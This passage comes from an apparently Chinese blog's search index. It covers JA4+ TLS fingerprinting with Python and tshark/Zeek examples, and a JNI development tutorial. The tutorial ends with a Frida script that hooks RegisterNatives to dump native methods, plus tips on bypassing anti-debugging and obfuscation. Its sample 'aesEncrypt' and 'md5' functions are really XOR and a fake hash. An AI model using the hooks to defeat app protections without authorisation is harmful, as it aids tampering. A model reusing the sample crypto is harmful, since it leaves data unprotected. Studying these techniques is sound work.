","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:3:3","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4h-http-客户端"},{"categories":null,"collections":null,"content":"JA4X (TLS 证书) 目标: 对 TLS 证书链进行指纹识别。 应用: 快速识别自签名证书、特定恶意软件使用的证书等。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:3:4","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4x-tls-证书"},{"categories":null,"collections":null,"content":"JA4L (实验性) L for Lightweight。这是一个更简单的版本，只包含数字和计数，不包含哈希。 应用: 适用于性能极高或资源受限的环境，提供基本的模糊匹配能力。 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:3:5","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4l-实验性"},{"categories":null,"collections":null,"content":"JA4 vs JA3：核心优势 特性 JA4+ JA3 格式 结构化字符串 单一 MD5 哈希 可读性 高，指纹本身包含信息 无 模糊匹配 原生支持，可按部分查询 否 上下文 丰富 (协议, 版本, 计数) 无 欺骗难度 更高，需匹配行为逻辑 较低，只需匹配字段 覆盖范围 TLS, QUIC, HTTP, Certificates 仅 TLS 健壮性 高，微小变化不影响大局 低，“雪崩效应” ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:4:0","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#ja4-vs-ja3核心优势"},{"categories":null,"collections":null,"content":"应用与实践 JA4+ 的应用场景比 JA3 更广泛和深入： 高级威胁狩猎: 利用结构化格式进行模糊搜索，如\"查找所有 TLS 1.3 但扩展数异常少的连接\" 结合 JA4 + JA4S + JA4H 进行多维度关联分析 检测 C2 (Command \u0026 Control) 通信的特征模式 Bot 检测与反爬虫: 验证声称的浏览器身份与实际 JA4H 行为是否一致 检测自动化工具 (Selenium, Puppeteer) 的指纹特征 识别代理工具和流量中转 欺骗检测: JA4 声称是 Chrome，但 JA4H 的 Header 顺序不符合 Chrome 行为 TLS 指纹与 HTTP 指纹不匹配的异常连接 检测指纹伪造工具的使用 安全运营 (SOC): 快速分类和标记未知流量 建立应用基线，检测偏离正常行为的连接 与 SIEM 系统集成进行实时告警 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:5:0","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#应用与实践"},{"categories":null,"collections":null,"content":"Python 实现示例 import hashlib from typing import List, Tuple class JA4Fingerprint: \"\"\"JA4 指纹生成器\"\"\" def __init__(self): self.grease_values = { 0x0a0a, 0x1a1a, 0x2a2a, 0x3a3a, 0x4a4a, 0x5a5a, 0x6a6a, 0x7a7a, 0x8a8a, 0x9a9a, 0xaaaa, 0xbaba, 0xcaca, 0xdada, 0xeaea, 0xfafa } def generate(self, client_hello: dict) -\u003e str: \"\"\" 生成 JA4 指纹 Args: client_hello: 解析后的 Client Hello 数据 - protocol: 'tls' 或 'quic' - version: TLS 版本 (如 0x0303 表示 TLS 1.2) - ciphers: 加密套件列表 - extensions: 扩展列表 - signature_algorithms: 签名算法列表 Returns: JA4 指纹字符串 \"\"\" # 1. 协议标识 protocol = 't' if client_hello.get('protocol') == 'tls' else 'q' # 2. TLS 版本 version = self._get_version_string(client_hello.get('version', 0x0303)) # 3. 过滤 GREASE 值 ciphers = [c for c in client_hello.get('ciphers', []) if c not in self.grease_values] extensions = [e for e in client_hello.get('extensions', []) if e not in self.grease_values] # 4. 排序标识 sorted_ciphers = sorted(ciphers) is_sorted = 'd' if ciphers == sorted_ciphers else 'i' # 5. 计数 cipher_count = f\"{len(ciphers):02d}\" ext_count = f\"{len(extensions):02d}\" # 6. GREASE 计数 grease_count = sum(1 for c in client_hello.get('ciphers', []) if c in self.grease_values) grease_str = f\"h{grease_count}\" if grease_count \u003e 0 else \"\" # 7. 扩展哈希 (取前12位) ext_hash = self._hash_list(sorted(extensions))[:12] # 8. 签名算法哈希 sig_algs = client_hello.get('signature_algorithms', []) sig_hash = self._hash_list(sig_algs)[:12] # 组装指纹 prefix = f\"{protocol}{version}{is_sorted}{cipher_count}{ext_count}{grease_str}\" return f\"{prefix}_{ext_hash}_{sig_hash}\" def _get_version_string(self, version: int) -\u003e str: \"\"\"将 TLS 版本转换为字符串\"\"\" version_map = { 0x0301: \"10\", # TLS 1.0 0x0302: \"11\", # TLS 1.1 0x0303: \"12\", # TLS 1.2 0x0304: \"13\", # TLS 1.3 } return version_map.get(version, \"00\") def _hash_list(self, items: List[int]) -\u003e str: \"\"\"对列表进行哈希\"\"\" data = ','.join(f\"{x:04x}\" for x in items) return hashlib.sha256(data.encode()).hexdigest() class JA4HFingerprint: \"\"\"JA4H (HTTP) 指纹生成器\"\"\" def generate(self, http_request: dict) -\u003e str: \"\"\" 生成 JA4H 指纹 Args: http_request: HTTP 请求数据 - method: 请求方法 (GET, POST, etc.) - version: HTTP 版本 (1.1, 2, 3) - headers: Header 字典 (保持顺序) Returns: JA4H 指纹字符串 \"\"\" # 协议 version = http_request.get('version', '1.1') if version == '2': proto = 'h2' elif version == '3': proto = 'h3' else: proto = 'h1' # 方法 method = http_request.get('method', 'GET')[0].lower() # Header 名称列表 (小写，保持顺序) headers = http_request.get('headers', {}) header_names = [k.lower() for k in headers.keys()] # Header 哈希 header_hash = hashlib.sha256(','.join(header_names).encode()).hexdigest()[:12] # Cookie 存在标识 has_cookie = 'c' if 'cookie' in header_names else 'n' # Referer 存在标识 has_referer = 'r' if 'referer' in header_names else 'n' return f\"{proto}{method}{has_cookie}{has_referer}_{header_hash}\" # 使用示例 if __name__ == \"__main__\": # 模拟 Chrome 的 Client Hello chrome_hello = { 'protocol': 'tls', 'version': 0x0304, # TLS 1.3 'ciphers': [ 0x1301, 0x1302, 0x1303, # TLS 1.3 ciphers 0xc02c, 0xc02b, 0xc030, # ECDHE ciphers ], 'extensions': [ 0x0000, # server_name 0x0017, # extended_master_secret 0x0023, # session_ticket 0x000d, # signature_algorithms 0x002b, # supported_versions 0x002d, # psk_key_exchange_modes 0x0033, # key_share ], 'signature_algorithms': [0x0403, 0x0503, 0x0603, 0x0804, 0x0805], } ja4 = JA4Fingerprint() fingerprint = ja4.generate(chrome_hello) print(f\"JA4 Fingerprint: {fingerprint}\") # 模拟 HTTP 请求 http_req = { 'method': 'GET', 'version': '2', 'headers': { 'Host': 'example.com', 'User-Agent': 'Mozilla/5.0...', 'Accept': '*/*', 'Accept-Language': 'en-US', 'Cookie': 'session=abc123', } } ja4h = JA4HFingerprint() http_fp = ja4h.generate(http_req) print(f\"JA4H Fingerprint: {http_fp}\") ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:5:1","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#python-实现示例"},{"categories":null,"collections":null,"content":"检测工具集成 # Wireshark / tshark 提取 JA4 # 需要安装 JA4+ 插件: https://github.com/FoxIO-LLC/ja4 # 使用 tshark 提取 JA4 指纹 tshark_cmd = \"\"\" tshark -r capture.pcap -Y \"tls.handshake.type == 1\" \\ -T fields -e ip.src -e ja4.ja4 \"\"\" # Zeek (Bro) 集成 zeek_script = \"\"\" @load ja4 event ssl_client_hello(c: connection, version: count, ...) { local ja4 = JA4::fingerprint(c); print fmt(\"JA4: %s from %s\", ja4, c$id$orig_h); } \"\"\" ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:5:2","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#检测工具集成"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:6:0","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 JA3 指纹详解 - JA3 基础知识 TLS 指纹识别 - TLS 指纹概述 网络抓包 - 获取 TLS 握手包 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:6:1","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#相关配方"},{"categories":null,"collections":null,"content":"工具与资源 JA4+ 官方仓库 - 官方实现和文档 JA4 数据库 - 已知应用的 JA4 指纹库 Wireshark JA4 插件 - Wireshark 集成 ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:6:2","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#工具与资源"},{"categories":null,"collections":null,"content":"参考文献 JA4+ 技术白皮书 - FoxIO 官方博客 JA4+ 设计原理 - Salesforce Engineering ","date":"2025-02-18","objectID":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/:6:3","tags":["浏览器指纹","签名验证","SSL Pinning","代理池","网络分析","加密分析"],"title":"JA4+ TLS/QUIC 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja4_fingerprinting/#参考文献"},{"categories":null,"collections":null,"content":"JNI 开发与调用原理 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Android 四大组件 - 理解 Android 应用架构 C/C++ 基础 - 掌握指针、内存管理等概念 JNI (Java Native Interface) 是 Java 与 C/C++ 代码交互的标准接口。在 Android 逆向工程中，理解 JNI 的工作原理对于分析 Native 层代码至关重要。本章将从开发者视角介绍 JNI 的原理与实践。 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:0:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#jni-开发与调用原理"},{"categories":null,"collections":null,"content":"JNI 基础概念 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:1:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#jni-基础概念"},{"categories":null,"collections":null,"content":"什么是 JNI JNI 是一个编程框架，允许 Java 代码调用 Native 代码（C/C++），也允许 Native 代码调用 Java 代码。 ┌─────────────────┐ │ Java 层 │ │ (Dalvik/ART) │ └────────┬────────┘ │ JNI 接口 ▼ ┌─────────────────┐ │ Native 层 │ │ (C/C++ SO) │ └─────────────────┘ ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:1:1","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#什么是-jni"},{"categories":null,"collections":null,"content":"为什么使用 JNI 用途 说明 性能优化 计算密集型任务（加密、图像处理）使用 C/C++ 更高效 代码复用 复用现有的 C/C++ 库（OpenSSL、FFmpeg 等） 安全保护 Native 代码比 Java 更难逆向，常用于核心算法保护 硬件访问 直接访问硬件或操作系统底层功能 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:1:2","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#为什么使用-jni"},{"categories":null,"collections":null,"content":"JNI 开发环境搭建 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:2:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#jni-开发环境搭建"},{"categories":null,"collections":null,"content":"1. 配置 NDK 在 build.gradle 中配置 NDK： android { defaultConfig { ndk { abiFilters 'arm64-v8a', 'armeabi-v7a' } } externalNativeBuild { cmake { path \"src/main/cpp/CMakeLists.txt\" } } } ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:2:1","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#1-配置-ndk"},{"categories":null,"collections":null,"content":"2. 创建 CMakeLists.txt cmake_minimum_required(VERSION 3.10.2) project(\"nativelib\") add_library( native-lib SHARED native-lib.cpp ) find_library( log-lib log ) target_link_libraries( native-lib ${log-lib} ) ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:2:2","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#2-创建-cmakeliststxt"},{"categories":null,"collections":null,"content":"3. 目录结构 app/ ├── src/main/ │ ├── java/com/example/app/ │ │ └── NativeHelper.java # Java 层声明 │ └── cpp/ │ ├── CMakeLists.txt │ └── native-lib.cpp # C/C++ 实现 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:2:3","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#3-目录结构"},{"categories":null,"collections":null,"content":"JNI 函数注册方式 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:3:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#jni-函数注册方式"},{"categories":null,"collections":null,"content":"方式一：静态注册（自动关联） Java 层声明 native 方法： public class NativeHelper { static { System.loadLibrary(\"native-lib\"); } // 声明 native 方法 public native String encrypt(String input); public native byte[] decrypt(byte[] data); } C++ 层实现（函数名遵循特定规则）： #include \u003cjni.h\u003e #include \u003cstring\u003e // 函数名格式：Java_包名_类名_方法名 // 包名中的 . 替换为 _ extern \"C\" JNIEXPORT jstring JNICALL Java_com_example_app_NativeHelper_encrypt( JNIEnv *env, jobject thiz, // 非静态方法：jobject 指向调用对象 jstring input) { // 获取 Java 字符串 const char *str = env-\u003eGetStringUTFChars(input, nullptr); // 处理逻辑... std::string result = \"encrypted_\" + std::string(str); // 释放资源 env-\u003eReleaseStringUTFChars(input, str); // 返回新的 Java 字符串 return env-\u003eNewStringUTF(result.c_str()); } 静态注册的函数命名规则： Java_\u003c包名\u003e_\u003c类名\u003e_\u003c方法名\u003e 示例： - 包名：com.example.app - 类名：NativeHelper - 方法名：encrypt - 函数名：Java_com_example_app_NativeHelper_encrypt ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:3:1","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#方式一静态注册自动关联"},{"categories":null,"collections":null,"content":"方式二：动态注册（JNI_OnLoad） 动态注册在 JNI_OnLoad 中手动绑定函数： #include \u003cjni.h\u003e #include \u003cstring\u003e // Native 函数实现（函数名可以任意） static jstring native_encrypt(JNIEnv *env, jobject thiz, jstring input) { const char *str = env-\u003eGetStringUTFChars(input, nullptr); std::string result = \"encrypted_\" + std::string(str); env-\u003eReleaseStringUTFChars(input, str); return env-\u003eNewStringUTF(result.c_str()); } static jbyteArray native_decrypt(JNIEnv *env, jobject thiz, jbyteArray data) { // 解密实现... return data; } // 方法映射表 static JNINativeMethod gMethods[] = { // {Java方法名, 方法签名, Native函数指针} {\"encrypt\", \"(Ljava/lang/String;)Ljava/lang/String;\", (void*)native_encrypt}, {\"decrypt\", \"([B)[B\", (void*)native_decrypt}, }; // JNI_OnLoad：库加载时自动调用 JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) { JNIEnv *env = nullptr; if (vm-\u003eGetEnv((void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } // 找到目标 Java 类 jclass clazz = env-\u003eFindClass(\"com/example/app/NativeHelper\"); if (clazz == nullptr) { return JNI_ERR; } // 注册 Native 方法 int methodCount = sizeof(gMethods) / sizeof(gMethods[0]); if (env-\u003eRegisterNatives(clazz, gMethods, methodCount) \u003c 0) { return JNI_ERR; } return JNI_VERSION_1_6; } ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:3:2","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#方式二动态注册jni_onload"},{"categories":null,"collections":null,"content":"两种注册方式对比 特性 静态注册 动态注册 函数名 必须遵循命名规则 可以任意命名 查找时机 首次调用时查找 加载时一次性注册 性能 略慢（需要查找） 较快（直接使用函数指针） 安全性 函数名暴露类/方法信息 函数名可混淆，更隐蔽 逆向难度 较容易定位 需要分析 JNI_OnLoad ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:3:3","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#两种注册方式对比"},{"categories":null,"collections":null,"content":"JNI 数据类型映射 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:4:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#jni-数据类型映射"},{"categories":null,"collections":null,"content":"基本类型 Java 类型 JNI 类型 签名 C/C++ 类型 boolean jboolean Z uint8_t byte jbyte B int8_t char jchar C uint16_t short jshort S int16_t int jint I int32_t long jlong J int64_t float jfloat F float double jdouble D double void void V void ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:4:1","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#基本类型"},{"categories":null,"collections":null,"content":"引用类型 Java 类型 JNI 类型 签名 Object jobject Ljava/lang/Object; String jstring Ljava/lang/String; Class jclass Ljava/lang/Class; int[] jintArray [I byte[] jbyteArray [B Object[] jobjectArray [Ljava/lang/Object; ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:4:2","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#引用类型"},{"categories":null,"collections":null,"content":"方法签名格式 (参数类型)返回类型 示例： - void method() -\u003e ()V - int method(int a) -\u003e (I)I - String method(String s, int i) -\u003e (Ljava/lang/String;I)Ljava/lang/String; - byte[] method(byte[] data) -\u003e ([B)[B - void method(int[] arr, Object o) -\u003e ([ILjava/lang/Object;)V ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:4:3","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#方法签名格式"},{"categories":null,"collections":null,"content":"JNI 常用函数 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:5:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#jni-常用函数"},{"categories":null,"collections":null,"content":"字符串操作 // Java String -\u003e C 字符串 const char* str = env-\u003eGetStringUTFChars(javaString, nullptr); // 使用完毕后释放 env-\u003eReleaseStringUTFChars(javaString, str); // C 字符串 -\u003e Java String jstring result = env-\u003eNewStringUTF(\"Hello from C++\"); // 获取字符串长度 jsize len = env-\u003eGetStringUTFLength(javaString); ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:5:1","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#字符串操作"},{"categories":null,"collections":null,"content":"数组操作 // 获取数组长度 jsize len = env-\u003eGetArrayLength(javaArray); // byte[] 操作 jbyte* bytes = env-\u003eGetByteArrayElements(byteArray, nullptr); // 使用完毕后释放 env-\u003eReleaseByteArrayElements(byteArray, bytes, 0); // 创建新的 byte[] jbyteArray newArray = env-\u003eNewByteArray(length); env-\u003eSetByteArrayRegion(newArray, 0, length, data); // int[] 操作 jint* ints = env-\u003eGetIntArrayElements(intArray, nullptr); env-\u003eReleaseIntArrayElements(intArray, ints, 0); ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:5:2","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#数组操作"},{"categories":null,"collections":null,"content":"调用 Java 方法 // 1. 获取类引用 jclass clazz = env-\u003eFindClass(\"com/example/app/MyClass\"); // 2. 获取方法 ID jmethodID methodId = env-\u003eGetMethodID(clazz, \"methodName\", \"(I)Ljava/lang/String;\"); // 静态方法使用 GetStaticMethodID // 3. 调用方法 jstring result = (jstring)env-\u003eCallObjectMethod(obj, methodId, 123); // 静态方法使用 CallStaticObjectMethod ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:5:3","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#调用-java-方法"},{"categories":null,"collections":null,"content":"访问 Java 字段 // 获取字段 ID jfieldID fieldId = env-\u003eGetFieldID(clazz, \"fieldName\", \"I\"); // 静态字段使用 GetStaticFieldID // 读取字段值 jint value = env-\u003eGetIntField(obj, fieldId); // 设置字段值 env-\u003eSetIntField(obj, fieldId, 100); ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:5:4","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#访问-java-字段"},{"categories":null,"collections":null,"content":"完整示例：实现加密函数 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:6:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#完整示例实现加密函数"},{"categories":null,"collections":null,"content":"Java 层 package com.example.crypto; public class CryptoHelper { static { System.loadLibrary(\"crypto-lib\"); } // AES 加密 public native byte[] aesEncrypt(byte[] data, byte[] key); // AES 解密 public native byte[] aesDecrypt(byte[] data, byte[] key); // MD5 哈希 public native String md5(String input); } ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:6:1","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#java-层"},{"categories":null,"collections":null,"content":"Native 层 (crypto-lib.cpp) #include \u003cjni.h\u003e #include \u003cstring\u003e #include \u003ccstring\u003e #include \u003candroid/log.h\u003e #define LOG_TAG \"CryptoLib\" #define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__) // 简化的 XOR 加密示例（实际应使用 OpenSSL 等库） static jbyteArray xor_encrypt(JNIEnv *env, jbyteArray data, jbyteArray key) { jsize dataLen = env-\u003eGetArrayLength(data); jsize keyLen = env-\u003eGetArrayLength(key); jbyte* dataBytes = env-\u003eGetByteArrayElements(data, nullptr); jbyte* keyBytes = env-\u003eGetByteArrayElements(key, nullptr); // 创建结果数组 jbyteArray result = env-\u003eNewByteArray(dataLen); jbyte* resultBytes = new jbyte[dataLen]; // XOR 加密 for (int i = 0; i \u003c dataLen; i++) { resultBytes[i] = dataBytes[i] ^ keyBytes[i % keyLen]; } env-\u003eSetByteArrayRegion(result, 0, dataLen, resultBytes); // 清理 delete[] resultBytes; env-\u003eReleaseByteArrayElements(data, dataBytes, 0); env-\u003eReleaseByteArrayElements(key, keyBytes, 0); return result; } // 简化的 MD5 实现（示例） static jstring calc_md5(JNIEnv *env, jstring input) { const char* str = env-\u003eGetStringUTFChars(input, nullptr); // 实际应使用 OpenSSL 的 MD5 函数 // 这里仅作示例，返回模拟的 MD5 char md5[33]; snprintf(md5, sizeof(md5), \"%032x\", (unsigned int)strlen(str)); env-\u003eReleaseStringUTFChars(input, str); return env-\u003eNewStringUTF(md5); } // 方法映射表 static JNINativeMethod gMethods[] = { {\"aesEncrypt\", \"([B[B)[B\", (void*)xor_encrypt}, {\"aesDecrypt\", \"([B[B)[B\", (void*)xor_encrypt}, // XOR 加解密相同 {\"md5\", \"(Ljava/lang/String;)Ljava/lang/String;\", (void*)calc_md5}, }; JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) { JNIEnv *env = nullptr; if (vm-\u003eGetEnv((void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass clazz = env-\u003eFindClass(\"com/example/crypto/CryptoHelper\"); if (clazz == nullptr) { LOGI(\"Failed to find class\"); return JNI_ERR; } int methodCount = sizeof(gMethods) / sizeof(gMethods[0]); if (env-\u003eRegisterNatives(clazz, gMethods, methodCount) \u003c 0) { LOGI(\"Failed to register natives\"); return JNI_ERR; } LOGI(\"JNI_OnLoad success, registered %d methods\", methodCount); return JNI_VERSION_1_6; } ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:6:2","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#native-层-crypto-libcpp"},{"categories":null,"collections":null,"content":"逆向分析要点 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:7:0","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#逆向分析要点"},{"categories":null,"collections":null,"content":"1. 定位 JNI 函数 静态注册： # 在 IDA/Ghidra 中搜索函数名 # 格式：Java_包名_类名_方法名 strings libnative.so | grep \"Java_\" 动态注册： # 分析 JNI_OnLoad 函数 # 查找 RegisterNatives 调用 # 追踪 JNINativeMethod 数组 ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:7:1","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#1-定位-jni-函数"},{"categories":null,"collections":null,"content":"2. Frida Hook JNI 函数 // Hook JNI_OnLoad Interceptor.attach(Module.findExportByName(\"libnative.so\", \"JNI_OnLoad\"), { onEnter: function (args) { console.log(\"JNI_OnLoad called\"); }, onLeave: function (retval) { console.log(\"JNI_OnLoad returned:\", retval); }, }); // Hook RegisterNatives 获取动态注册信息 var RegisterNatives = Module.findExportByName( \"libart.so\", \"_ZN3art3JNI15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi\" ); Interceptor.attach(RegisterNatives, { onEnter: function (args) { var className = Java.vm.getEnv().getClassName(args[1]); var methods = args[2]; var methodCount = args[3].toInt32(); console.log(\"RegisterNatives:\", className, \"count:\", methodCount); for (var i = 0; i \u003c methodCount; i++) { var methodName = methods .add(i * Process.pointerSize * 3) .readPointer() .readCString(); var signature = methods .add(i * Process.pointerSize * 3 + Process.pointerSize) .readPointer() .readCString(); var fnPtr = methods .add(i * Process.pointerSize * 3 + Process.pointerSize * 2) .readPointer(); console.log(\" Method:\", methodName, signature, \"-\u003e\", fnPtr); } }, }); ","date":"2025-02-16","objectID":"/reverse_engineering/android/01-recipes/native/jni_development/:7:2","tags":["Native层","签名验证","SSL Pinning","Frida","Ghidra","DEX"],"title":"JNI 开发与调用原理","uri":"/reverse_engineering/android/01-recipes/native/jni_development/#2-frida-hook-jni-函数"},{"categories":null,"collections":null,"content":"3. 常见保护手段 保护手段 说明 应对方法 函数名混淆 使用动态注册隐藏函数名 分析 JNI_OnLoad 字符串加密 加密关键字符串 动态调试获取解密后的值 反调试检测 检测调试器/Frida 绕过反调试 代码混淆 OLLVM 等混淆 符号执行/模式识别 